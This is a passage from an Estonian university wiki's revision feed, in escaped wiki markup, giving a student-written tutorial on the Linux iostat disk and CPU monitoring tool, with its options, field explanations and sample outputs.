sda              27.86    63.53 61.77 132.91  1096.46  1598.40    13.84     0.21    1.06   2.28  44.45&lt;br /&gt;
sda1              0.69    33.22 48.54 129.63   773.30  1328.84    11.80     1.39    7.82   2.28  40.57&lt;br /&gt;
sda2             27.16    30.32 13.23  3.28   323.13   269.56    35.90     0.55   32.96   3.44   5.68&lt;br /&gt;
sdb              39.15   215.16 202.20 169.04   945.80  1073.13     5.44     1.05    2.78   1.64  60.91&lt;br /&gt;
sdb1             39.15   215.16 202.20 169.04   945.77  1073.13     5.44     1.05    2.78   1.64  60.91&lt;br /&gt;
sdc               8.90     3.63 356.56 51.40   207.01   972.24     2.89     1.04    2.56   1.55  63.30&lt;br /&gt;
sdc1              8.90     3.63 356.55 51.40   206.99   972.24     2.89     1.04    2.56   1.55  63.30&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Iostat&#039;i on võimalik käivitada iga x sekundi pärast y korda. Käsk &#039;&#039;&#039;iostat 2&#039;&#039;&#039; käivitab iostat&#039;i iga 2 sekundi tagant, kuni peatamiseni Ctrl-C&#039;ga.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat 2&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.67      1096.39      1598.33 2719070584 3963891256&lt;br /&gt;
sda1            178.16       773.26      1328.79 1917688482 3295418672&lt;br /&gt;
sda2             16.51       323.11       269.54  801326878  668472584&lt;br /&gt;
sdb             371.22       945.74      1073.08 2345454041 2661251200&lt;br /&gt;
sdb1            371.22       945.72      1073.08 2345398577 2661251200&lt;br /&gt;
sdc             407.93       207.00       972.19  513366813 2411036564&lt;br /&gt;
sdc1            407.93       206.98       972.19  513311349 2411036564&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käsk &#039;&#039;&#039;iostat 2 3&#039;&#039;&#039; käivitab iostat&#039;i iga 2 sekundi tagant kokku 3 korda.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat 2 3&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Laiendatud versiooni kplokkseadmete info kuvamiseks saab kasutada käsku &#039;&#039;&#039;iostat -xtc&#039;&#039;&#039;.[https://docs.oracle.com/cd/E23824_01/html/821-1451/spmonitor-4.html]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -xtc&lt;br /&gt;
                  extended device statistics                      tty         cpu&lt;br /&gt;
device       r/s    w/s   kr/s   kw/s wait actv  svc_t  %w  %b  tin tout  us sy wt id&lt;br /&gt;
fd0          0.0    0.0    0.0    0.0  0.0  0.0    0.0   0   0    0    0   0  0  0 100&lt;br /&gt;
sd0          0.0    0.0    0.4    0.4  0.0  0.0   49.5   0   0 &lt;br /&gt;
sd6          0.0    0.0    0.0    0.0  0.0  0.0    0.0   0   0 &lt;br /&gt;
nfs1         0.0    0.0    0.0    0.0  0.0  0.0    0.0   0   0 &lt;br /&gt;
nfs49        0.0    0.0    0.0    0.0  0.0  0.0   15.1   0   0 &lt;br /&gt;
nfs53        0.0    0.0    0.4    0.0  0.0  0.0   24.5   0   0 &lt;br /&gt;
nfs54        0.0    0.0    0.0    0.0  0.0  0.0    6.3   0   0 &lt;br /&gt;
nfs55        0.0    0.0    0.0    0.0  0.0  0.0    4.9   0   0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kokkuvõte==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Iostat on kasulik tööriist süsteemi toimimise jälgimiseks, mis kuvab infot plokkseadmete, protsessori ja võrgu kasutuse kohta. Selle abil saadud info on abiks süsteemi sisend/väljund seadmete konfiguratsiooni optimeerimiseks, kuna aitab välja selgitada võimalikke probleemseid kohti.&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Allikad==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
[http://linux.die.net/man/1/iostat Linux man page]&lt;br /&gt;
&lt;br /&gt;
[http://www.computerhope.com/unix/iostat.htm Computerhope]&lt;br /&gt;
&lt;br /&gt;
[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/ Thegeekstuff]&lt;br /&gt;
&lt;br /&gt;
[https://docs.oracle.com/cd/E23824_01/html/821-1451/spmonitor-4.html Oracle Solaris Admin]&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82575</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82575"/>
		<updated>2014-11-13T19:47:51Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
November 2014&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, plokkseadmete ja võrgu kasutusest. Esimene raport genereerib andmeid alates süsteemi alglaadimisest. Iga järgnev raport hõlmab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&lt;br /&gt;
Iostat on osa sar utiliidist, mis sisaldub sysstat paketis. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
===Paigaldamise lühijuhend===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;i kasutamiseks on vaja paigaldada &#039;&#039;&#039;sysstat&#039;&#039;&#039;.[http://www.thegeekstuff.com/2011/03/sar-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install sysstat&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrolli paigaldust:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sar -V&lt;br /&gt;
sysstat version 10.0.0&lt;br /&gt;
(C) Sebastien Godard (sysstat  orange.fr)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sar 1 3&lt;br /&gt;
Linux 2.6.18-194.el5PAE (dev-db)        03/26/2011      _i686_  (8 CPU)&lt;br /&gt;
&lt;br /&gt;
01:27:32 PM       CPU     %user     %nice   %system   %iowait    %steal     %idle&lt;br /&gt;
01:27:33 PM       all      0.00      0.00      0.00      0.00      0.00    100.00&lt;br /&gt;
01:27:34 PM       all      0.25      0.00      0.25      0.00      0.00     99.50&lt;br /&gt;
01:27:35 PM       all      0.75      0.00      0.25      0.00      0.00     99.00&lt;br /&gt;
Average:          all      0.33      0.00      0.17      0.00      0.00     99.50&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.thegeekstuff.com/2011/03/sar-examples/ Abiks paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Süntaks ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
=== Võtmed ===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-c&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Kuvab protsessori kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-d&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab seadmete kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-g group_name { device [...] | ALL }&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-h&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-k&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks kb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-m&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks Mb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-N&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Kuvab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-p [ { device [,...] | ALL } ]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-T&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-t&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita iga raporti aega. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-V&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Prindi versiooni number ja tekst. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-x&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuva laiendatud statistikat. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-z&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Protsessori ja plokkseadmete raport==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Iostat&#039;&#039;&#039; käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide ketaste ja kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.72      1096.66      1598.70 2719068704 3963827344&lt;br /&gt;
sda1            178.20       773.45      1329.09 1917686794 3295354888&lt;br /&gt;
sda2             16.51       323.19       269.61  801326686  668472456&lt;br /&gt;
sdb             371.31       945.97      1073.33 2345452365 2661206408&lt;br /&gt;
sdb1            371.31       945.95      1073.33 2345396901 2661206408&lt;br /&gt;
sdc             408.03       207.05       972.42  513364213 2411023092&lt;br /&gt;
sdc1            408.03       207.03       972.42  513308749 2411023092&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Iostat&#039;&#039;&#039; võtmega &#039;&#039;&#039;-c&#039;&#039;&#039; kuvab infot ainult protsessori kasutuse kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -c&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Iostat&#039;&#039;&#039; võtmega &#039;&#039;&#039;-d&#039;&#039;&#039; kuvab infot ainult ketaste ja kettajagude kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -d&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.71      1096.61      1598.63 2719068720 3963827704&lt;br /&gt;
sda1            178.20       773.41      1329.03 1917686810 3295355248&lt;br /&gt;
sda2             16.51       323.18       269.60  801326686  668472456&lt;br /&gt;
sdb             371.29       945.93      1073.28 2345452365 2661209192&lt;br /&gt;
sdb1            371.29       945.91      1073.28 2345396901 2661209192&lt;br /&gt;
sdc             408.01       207.04       972.38  513364213 2411024484&lt;br /&gt;
sdc1            408.01       207.02       972.38  513308749 2411024484&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kasutatud mõõtühikud&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;p&amp;gt;Protsessori ja seadmete raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%user&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja (programmi) tasemel. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%nice&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja prioriteediga &#039;&#039;nice&#039;&#039; tasemel. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%system&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine süsteemi tasemel.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%iowait&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil protsessor oli tegevusetu siis, kui süsteem sai olulise sisend/väljund nõude.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%steal&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil virtuaalne protsessor oli ooteajal, sest &#039;&#039;hypervisor&#039;&#039; tegeles teise virtuaalse protsessoriga.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%idle&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil protsessor oli tegevusetu ja süsteemil polnud olulisi sisend/väljund nõudeid.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;tps&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Loetud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kirjutatud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Võrgu raport==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Võrgu statistika kuvamiseks saab kasutada võtit &#039;&#039;&#039;-n&#039;&#039;&#039;.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -n&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)        07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice    %sys %iowait   %idle&lt;br /&gt;
           4.33    0.01    1.16    0.31   94.19&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda               2.83         0.35         5.39   29817402  457360056&lt;br /&gt;
sda1              3.32        50.18         4.57 4259963994  387641400&lt;br /&gt;
sda2              0.20         0.76         0.82   64685128   69718576&lt;br /&gt;
sdb               6.59        15.53        42.98 1318931178 3649084113&lt;br /&gt;
sdb1             11.80        15.53        42.98 1318713382 3649012985&lt;br /&gt;
&lt;br /&gt;
Device:                  rBlk_nor/s   wBlk_nor/s   rBlk_dir/s   wBlk_dir/s   rBlk_svr/s   wBlk_svr/s&lt;br /&gt;
192.168.1.4:/home/data      90.67        0.00         0.00         0.00         5.33         0.00&lt;br /&gt;
192.168.1.4:/backup         8.74         0.00         0.00         0.00         8.74         0.00&lt;br /&gt;
192.168.1.8:/media          0.02         0.00         0.00         0.00         0.01         0.00&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kasutatud mõõtühikud&#039;&#039;&#039;&lt;br /&gt;
Võrgu statistika kohta käivad ühikud on järgnevas tabelis.[http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_nor/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Programmide poolt loetud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_nor/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Programmide poolt kirjutatud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_dir/s &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Loetud plokkide arv failidest, mis avati O_DIRECT lipuga.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_dir/s &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kirjutatud plokkide arv failidesse, mis avati O_DIRECT lipuga.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_svr/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NFS kliendi poolt serverist loetud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_svr/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NFS kliendi poolt serverisse kirjutatud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Näited==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Kindla seadme kohta info kuvamiseks saab kasutada võtit &#039;&#039;&#039;-p&#039;&#039;&#039;.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -p sda&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.69      1096.51      1598.48 2719069928 3963829584&lt;br /&gt;
sda2            336.38        27.17        54.00   67365064  133905080&lt;br /&gt;
sda1            821.89         0.69       243.53    1720833  603892838&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Võti &#039;&#039;&#039;-t&#039;&#039;&#039; näitab jooksvat aega.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -t&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
Time: 08:57:52 AM&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.69      1096.49      1598.45 2719070384 3963829704&lt;br /&gt;
sda1            178.18       773.32      1328.88 1917688474 3295357248&lt;br /&gt;
sda2             16.51       323.14       269.57  801326686  668472456&lt;br /&gt;
sdb             371.25       945.82      1073.16 2345452741 2661228872&lt;br /&gt;
sdb1            371.25       945.80      1073.16 2345397277 2661228872&lt;br /&gt;
sdc             407.97       207.02       972.27  513364233 2411030200&lt;br /&gt;
sdc1            407.97       207.00       972.27  513308769 2411030200&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Võti &#039;&#039;&#039;-x&#039;&#039;&#039; kuvab lisainfot.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -x&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:         rrqm/s   wrqm/s   r/s   w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util&lt;br /&gt;
sda              27.86    63.53 61.77 132.91  1096.46  1598.40    13.84     0.21    1.06   2.28  44.45&lt;br /&gt;
sda1              0.69    33.22 48.54 129.63   773.30  1328.84    11.80     1.39    7.82   2.28  40.57&lt;br /&gt;
sda2             27.16    30.32 13.23  3.28   323.13   269.56    35.90     0.55   32.96   3.44   5.68&lt;br /&gt;
sdb              39.15   215.16 202.20 169.04   945.80  1073.13     5.44     1.05    2.78   1.64  60.91&lt;br /&gt;
sdb1             39.15   215.16 202.20 169.04   945.77  1073.13     5.44     1.05    2.78   1.64  60.91&lt;br /&gt;
sdc               8.90     3.63 356.56 51.40   207.01   972.24     2.89     1.04    2.56   1.55  63.30&lt;br /&gt;
sdc1              8.90     3.63 356.55 51.40   206.99   972.24     2.89     1.04    2.56   1.55  63.30&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Iostat&#039;i on võimalik käivitada iga x sekundi pärast y korda. Käsk &#039;&#039;&#039;iostat 2&#039;&#039;&#039; käivitab iostat&#039;i iga 2 sekundi tagant, kuni peatamiseni Ctrl-C&#039;ga.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat 2&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.67      1096.39      1598.33 2719070584 3963891256&lt;br /&gt;
